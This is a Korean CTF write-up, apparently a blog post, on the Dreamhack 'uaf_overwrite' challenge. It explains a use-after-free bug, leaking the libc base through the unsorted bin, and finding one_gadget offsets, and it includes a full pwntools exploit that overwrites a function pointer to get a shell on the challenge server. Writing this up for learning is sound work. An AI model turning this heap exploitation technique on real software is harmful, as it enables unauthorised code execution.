uaf_overwrite
Use After Free (UAF)
Use After Free (UAF)Use After Free (UAF) 취약점은 프로그램이 메모리를 해제한 후에도 해당 메모리 위치를 계속 사용하는 경우 발생하는 보안 취약점이다. 운영 체제는 메모리를 효율적으로 사용하기
keyme2003.tistory.com
UAF 취약점을 실습하는 문제다.
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
robot_func()
함수는 Robot 객체를 생성하고 robot→fptr
이 있는 경우에는 해당 포인터가 가리키는 함수를 실행한다.
만약, robot_func()
를 실행하기 전에 fptr
포인터를 system()
로 바꾸면 어떻게 될까?
system()
가 실행된다.
그렇다면, 목표는 fptr 포인터를 조작하는 것이다. 이 과정에서 UAF 취약점을 이용할 것이다.
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
선언된 구조체를 보자.
Human과 Robot이 똑같은 크기다.
- 똑같은 크기이므로 UAF 취약점이 발생한다면 이전에 할당했던 데이터인 age를 *fptr로 덮을 수 있다.
○ 공격시나리오
human_func()
를 실행하고 Human 객체를 생성할 때, age에 oneshot 가젯 주소를 입력한다. 이후에는 Human 객체가 free되지만 메모리에는 age로 기록한 데이터는 남아있다.robot_func()
를 실행하면 Robot 객체가 똑같은 메모리를 할당 받으면서robot→fptr
이 age로 덮어진다. 이후에는robot→fptr
이 가리키는 oneshot 가젯이 실행된다.
└─# one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
one_gadget 오프셋을 구했다.
one_gadget은 주소를 구하기위해 libc base
를 구하자. 개인적으로 libc base
주소를 알아내는 과정이 가장 어려웠다.
libc base
주소를 구하는 방법은 unsorted bin의 취약점을 이용하는 방법이다.
잠시 bin 개념을 알아보자.
- ptmalloc 기준으로 다룰 것이다.
컴퓨터에서 메모리의 동적 할당과 해제는 매우 빈번하게 일어난다. 그런데 메모리는 한정적이므로 새로운 메모리 공간을 무한으로 할당할 수 없다.
ptmalloc은 메모리 할당 요청이 발생하면, 해제된 메모리 공간 중에서 재사용할 수 있는 공간이 있는지 탐색하고 재사용한다.
이런 과정을 위해 존재하는 것이 bin이다.
ptmalloc에서는 FastbinsY와 bins로 나뉜다.
우리는 unsorted bin이 속한 bins에 대해서만 알아볼 것이다.
bins은 총 127개로 정의됐다. 62개는 smallbin
, 63개는 largebin
, 나머지 2개는 unsorted bin
으로 사용한다.
이 중에서 unsorted bin
을 활용해서 libc base
를 구할 것이다.
unsorted bin
은 이중 연결리스트로 구성된다.
[사진]은 alloc chunk와 free chunk를 나타낸 것이다.
unsorted bin
에 처음 연결되는 free 청크의 fd와 bk에는 libc 주소가 쓰인다.
- 이때,
unsorted bin
에 연결된 청크를 재할당하면 data 영역에는 libc 주소가 그대로 남는다.
이때, 할당된 청크의 데이터를 읽으면 libc 주소를 획득할 수 있다.
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
custom_func()
는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고 할당된 청크 중에 원하는 청크를 해제할 수 있는 함수다.
0x410 이하의 크기를 갖는 청크는 tcache
에 먼저 삽입되므로 이보다 큰 청크를 해제해서 unsorted bin
에 연결해야 한다.
주의할 점은 해제할 청크가 탑 청크와 맞닿으면 안 된다. unsorted bin
에 포함되는 청크와 탑 청크는 병합 대상이므로 둘이 맞닿으면 청크가 병합된다. 이를 피하려면 청크 2개를 연속으로 할당하고 처음 할당한 청크를 해제해야 한다.
- free 청크는 맞닿는 경우에 병합되는 특징이 있다.
- 물론, fastbin은 제외다.
정리하면, 0x410보다 큰 크기의 청크를 할당하고 해제하는 경우에는 unsorted bin
에 연결되며 처음에 연결되는 unsorted bin
의 fd와 bk는 libc 주소가 쓰이기 때문에 해당 청크를 다시 할당해서 읽으면 libc 주소를 획득할 수 있다.
참고로 fd에 적힌 libc 주소는 main_arena 주소다.
main_arena base address = __malloc_hook + 0x10
main_arena
주소는 __malloc_hook + 0x10
이다.
즉, 다음과 같이 libc base를 구할 수 있다.
[main_arena] - [main_arena offset] = [libc base]
하지만 libc_base를 구하는 과정에서 주의할 점이 있다.
main_arena를 leak하면 0x3ebc40
이 출력된다. 하지만 해당 오프셋을 사용하면 libc base
주소를 구할 수 없다.
printf("Data: ");
read(0, custom[c_idx], size - 1);
이유는 할당 과정 코드를 보면 알 수 있다.
data 영역에 main_arena 주소가 저장된 상태에서 read(0, custom[c_idx], size - 1)
로 데이터를 쓰는 루틴이 실행된다. 이 과정에서 main_arena 주소의 일부를 덮기 때문에 일부가 덮힌 main_arena 주소가 출력된다.
- 만약, “B”를 입력했다면 main_arena 주소의 1바이트를 “B”로 덮는다.
즉, 0x3ebcXX
와 같이 XX
에는 “B”으로 덮인 상태로 출력된다. 따라서 libc base
를 구하기 위한 오프셋이 달라진다.
다음은 exploit 코드다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",12368)
l = ELF('./libc-2.27.so')
arena_offset = l.symbols['__malloc_hook'] + 0x10
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 0)
custom(0x500, "B", 100)
success("main_arena_offset : "+hex(arena_offset))
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
success("libc_base : "+hex(lb))
success("one_gadget : "+hex(og))
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
libc base를 획득하는 과정부터 설명하겠다.
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 0)
custom(0x500, "B", 100)
custom_func()
를 4번 실행해서 libc base를 구하는 코드다.
0x500 바이트 공간을 2번 할당하고 0x500 바이트 공간을 1번 해제하여 unsorted bin
에 청크가 저장되도록 했다.
unsorted bin
을 설명할 때 언급했듯이 top 청크와 해제할 청크가 맞닿으면 안되기 때문에 2번 할당했다.
다음으로 0x500 바이트 공간을 다시 재할당하여 unsorted bin
에 저장된 청크를 재활용하도록 했다.
custom_func()
에서는 할당된 청크의 데이터를 입력하는 과정이 있기 때문에 재할당 과정에서 main_arena의 1바이트가 덮인다.
[libc base] + [main_arena + user_input]
이므로 0x3ebc42
가 된다.
- 입력한 데이터는
B == 0x42
결론적으로 [Leak addr] - 0x3ebc42
를 연산하면 [libc base]
주소를 구할 수 있다.
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
success("libc_base : "+hex(lb))
success("one_gadget : "+hex(og))
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
이어서 libc base
주소를 기반으로 one_gadget 오프셋을 더해서 one_gadget 주소를 구한다.
다음으로 human_func()
와 robot_func()
를 순서대로 실행해서 UAF를 트리거하고 fptr
포인터를 one_gadget 주소로 덮는다.
마지막으로 fptr을 실행한다.
reference
dreamhack - [Exploit Tech: Use After Free]
https://d41jung0d.tistory.com/108
Heap 이해하기
1. Introduce 현재 heap공부를 하고 있는데, 몇 주째 잡고있는데도 실력이 늘지 않는 것 같아서 직접 읽어본 자료들을 참고해서 malloc, free를 통해 chunk가 어떻게 할당되고 해제되는지, 그때의 chunk는
d41jung0d.tistory.com